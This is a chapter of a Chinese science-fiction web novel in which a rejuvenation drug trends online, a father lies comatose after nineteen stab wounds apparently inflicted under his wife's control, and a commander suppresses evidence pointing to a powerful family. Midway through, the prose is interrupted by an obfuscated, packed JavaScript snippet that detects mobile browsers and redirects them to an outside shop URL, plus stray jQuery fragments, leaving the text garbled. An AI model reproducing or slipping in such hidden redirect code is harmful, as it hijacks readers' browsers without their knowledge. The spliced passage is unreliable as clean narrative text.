40.回春神药

作品:《星际打工人

    #神药出世!皇帝回春!#


    词条一出,星网的热搜被瞬间引爆,评论区像炸开了锅,激烈的讨论声此起彼伏。


    【我去!陆家这么牛B,连鳞脊刺蜥卵液都能得到!】


    【天,还是SS级危险种鳞脊刺蜥首领的!这含金量不用我多说了吧……】


    【前几天这皇帝还卧倒在床呢,连朝会都没法参加,今天竟然出席线下活动了,效果简直惊人!】


    【谁看了活动视频?皇帝完全大变样了,皮肤都紧致了不少,好像年轻了十岁!这神药也太神奇了吧!】


    【求同款!我愿意花大价钱买,哪怕只是一点点也好啊!】


    【楼上加一!我也想要,就算不能年轻十岁,能改善一下皮肤状态也行啊!】


    【你们就别想了,这么珍贵的东西,就算有多余的,也轮不到我们这些普通人,还是看看热闹得了。】


    【梦想还是要有的,万一实现了呢!】


    评论区画风逐渐跑偏,四皇子塞缪尔百无聊赖地合上智脑。


    “你说大哥和二姐这是什么意思?”


    旁边,五公主尤莉娅正一脸幸福地品尝着美味的草莓蛋糕。


    塞缪尔轻“啧”一声,眼神落在了尤莉娅的手上,“你吃到手上了。”


    尤莉娅闻言,低头看了看自己的手指,果然看到指尖沾了一圈白色的奶油。


    她把沾着奶油的手指凑到嘴边,轻轻含住指尖,一点一点舔掉奶油,活像只好奇的小猫。


    吃完一整块,女孩那双通透又清澈的冰蓝色眼眸眨了眨,总算想起塞缪尔的问题。


    她歪了歪头,语气天真无邪:“跟我们有什么关系?”


    尤莉娅的回答差点把塞缪尔气个半死,一种无力感自他的心头跃起,他想要再说些什么,却又不知该从何说起。


    最终,塞缪尔只能无奈地叹了口气。


    “我错了,我就不该问你。”


    首都星,曦和医院重症监护病房。


    寂白的冷光照射在那具还保留着微弱呼吸的男人身上,他的胸口微微起伏,面色却灰败得与死人相差无二。


    病床旁边的心电监护仪平稳运行,有规律地发出“嘀嗒”声响。


    玻璃墙外,赵奇正双手扒着玻璃,脸颊几乎要贴到上面。


    男孩的双眼哭得红肿,泪水混着鼻涕挂在脸上,泣不成声:“怎么……怎么会这样?”


    医生手拿病历本,在一旁为赵奇正讲解:“病人全身上下共有十九处刀伤,砍刺部位多集中在四肢外侧、腹部非核心区域及背部肌肉层。虽然没有内脏破裂及颅内损伤,但因持续休克导致脑部供血供氧不足,引发了缺血缺氧性脑病。”


    “现在他无自主意识,无法自主睁眼、进食、活动,仅保留呼吸、心跳等基本生命体征,符合持续性植物状态。”


    “也就是我们常说的植物人。”


    医生的最后一句话像一记重锤,击垮了赵奇正。他再也支撑不住,顺着冰冷的墙面滑下,坐在地上,将自己缩成一团。


    他的哭声由压抑的呜咽变成撕心裂肺的号啕。


    倪以彤掏出纸巾擦了擦眼泪,蹲下身将手轻轻搭在赵奇正颤抖的身躯上,作安慰状:“没关系的奇正,别哭,妈妈就算倾家荡产,就算砸锅卖铁,也会把你爸爸救回来!妈妈相信,总有一天,他能醒过来。”


    男孩紧紧抱住倪以彤,哭得直打嗝,话语断断续续,“妈妈,爸爸……爸爸究竟是怎么变成这样的?”


    赵奇正不明白,他只是去上了几天的学,怎么一回来爸爸就变成了这副模样……


    爸爸是家里的顶梁柱,更是他的天。


    可现在,天塌了。


    一种莫名的恐慌包裹住了赵奇正小小的身躯。


    “你爸爸……”说起缘由,倪以彤一阵哽咽,抬手抹了抹眼睛,“你爸爸变成现在这样,都是星盗害的!”


    自从赵南的臻味面馆被查封后,家里不仅断了经济来源,还背负上了法院开出的天价罚金。


    臻味面馆的总部将这些掺入成瘾剂的加盟店通通告上了法庭,索赔其声誉损失等等一系列费用,林林总总算起来,竟高达千万。


    即使这几年赵南和倪以彤赚了不少钱,可两人刚在首都星买了房子,又要供赵奇正读贵族学校,积蓄与罚金相比,实在是杯水车薪。


    赵南才因为成瘾剂进去过一次,在监狱里被人欺负得极惨,这次说什么也不肯再因为拖欠罚金进去。


    于是,为了交罚金,赵南和倪以彤不得不卖掉首都星的房子。


    首都星生活成本极大,赵南和倪以彤计划着搬回德卢星——那个曾经他们生活了多年的十八线小星球。


    赵奇正就读的贵族学校是寄宿制,平常吃喝住行都在学校内解决,只有每周末可以回家。


    赵南和倪以彤便趁着周中空闲,准备先回德卢星一趟,办理赵奇正的转学手续。


    可谁知,两人乘坐的飞船即将抵达德卢星时,突然遭到了德尔罗星盗的袭击。


    赵南不肯交出身上仅有的积蓄,被星盗愤而砍伤。


    倪以彤讲完事情原委,赵奇正的眼神里蕴含着汹涌的恨意。


    他紧紧握住倪以彤的手,好似生怕母亲再离他远去,“妈妈,我一定要为爸爸报仇!我要让那些星盗付出代价!”


    “就凭你?”一声冷笑传来,打断了赵奇正的壮志宣言。


    阮宁曦刚办完住院手续回来,手里拿着一叠单据,身上的米白风衣沾染上了外面的寒气。她看向赵奇正的目光中,带着几分淡漠的不屑。


    赵奇正愣了一下,赶紧用校服的袖子擦了擦鼻涕和眼泪,好让自己看起来不那么狼狈。


    他整理完情绪,倔强地抬起头,眸中燃烧着熊熊火焰,“我会考上军校!等我毕业以后,成为星际军,就有能力报仇了!”


    阮宁曦微微垂眸,不置可否:“你先考上高中再说吧。”


    赵奇正今年才15岁,正上初三,还是个没经历过世事的孩子,总喜欢把事情看得如此简单,阮宁曦连打击他的欲望都没有。


    想对付德尔罗的星盗,当真是痴人说梦。


    德尔罗背靠的可是任家,同为四大家族,别说她,就连阮家家主阮清筠都要给任家几分薄面。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943316|191229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    这种自不量力的想法,大概随着赵奇正长大,经历过社会的打磨,就会慢慢消失了。


    何况,真论起来,这口黑锅也轮不到德尔罗星盗来背。


    罪魁祸首,分明是……


    阮宁曦勾起一抹意味深长的淡笑,目光转向还在安慰赵奇正的倪以彤。


    今天的倪以彤和往日判若两人。她换了一身利落的行头,身着驼色大衣,头发做了拉直,柔顺地披散在肩头。


    女人的浑身透着一股昂扬的势头,哪里还有之前的颓靡。


    她努力扮演着一个伤心欲绝的妻子,可在阮宁曦看来,那伤心太过浮于表面。


    显然,她不是个好演员,反之,她是一个好医生。


    十九年,她在赵南的身上耗费了十九年的美好年华。


    十九刀,刀刀不致命,她对生命的掌控依旧精准。


    赵南如今的模样,是倪以彤刻意把控下的结果,也是她给曾经的自己,画上的一个并不圆满的句号。


    从今天开始,她,迎来了新生。


    帝国星际军战舰指挥室。


    “李指挥,检验科传来消息,那把重伤了一名中年男性的凶器……很奇怪。”副官的声音从李立轩身后传来,带着一丝困惑。


    李立轩皱了皱眉,快步走向战舰检验科。


    检验科的操作台上摆放着一把暗金色匕首,刀刃上残留着未清理干净的血迹,检验官正对着全息扫描屏皱眉思索。


    见他进来,检验官起身,递过扫描报告,“李指挥,您看,这把匕首的做工极其精细,用料昂贵,根本不是星盗能接触到的等级。”


    一般来说,星盗能使用的武器通常满足以下三个特点:便宜、结实、耐用。


    而这把匕首,整体长度约十五厘米,刃口薄如蝉翼,刀刃与刀柄的衔接处两侧各镶嵌着一颗米粒大小的深蓝色宝石。


    一看就价值不菲。


    当李立轩的目光随意落在扫描图上,他的瞳孔骤然收缩。


    那暗金色刀柄上的纹路看似繁复,实则是由“任”字拆解重组而成的家族徽记。


    德尔罗星盗劫持本是常规的治安事件,虽说他们背靠任家,但非极特殊情况,任家从不会直接插手星盗的事。


    可当凶器牵扯出任家本身,性质便瞬间天翻地覆了。


    这边,检验官还在滔滔不绝地分析着匕首的工艺细节,李立轩却已经听不进去了。


    他脑海里飞速闪过各种可能性:是任家借星盗之手清理异己?还是家族内部权力斗争波及平民?


    但无论真相如何,只要沾上任家,这件事就必须按下不表。


    凶手拿出这把匕首,就是在赤裸裸地告诉他。


    这件事,他管不了,也不能管。


    若是贸然追查,恐对他有不利影响。


    “停止所有分析,销毁扫描数据和报告,禁止任何人提及这件事。”李立轩眼底翻涌着复杂的神色,语气冷然。


    副官一怔,他跟随李立轩多年,从未见过指挥官如此果断地放弃追查真相。


    可他终究还是点头应道。


    “是。”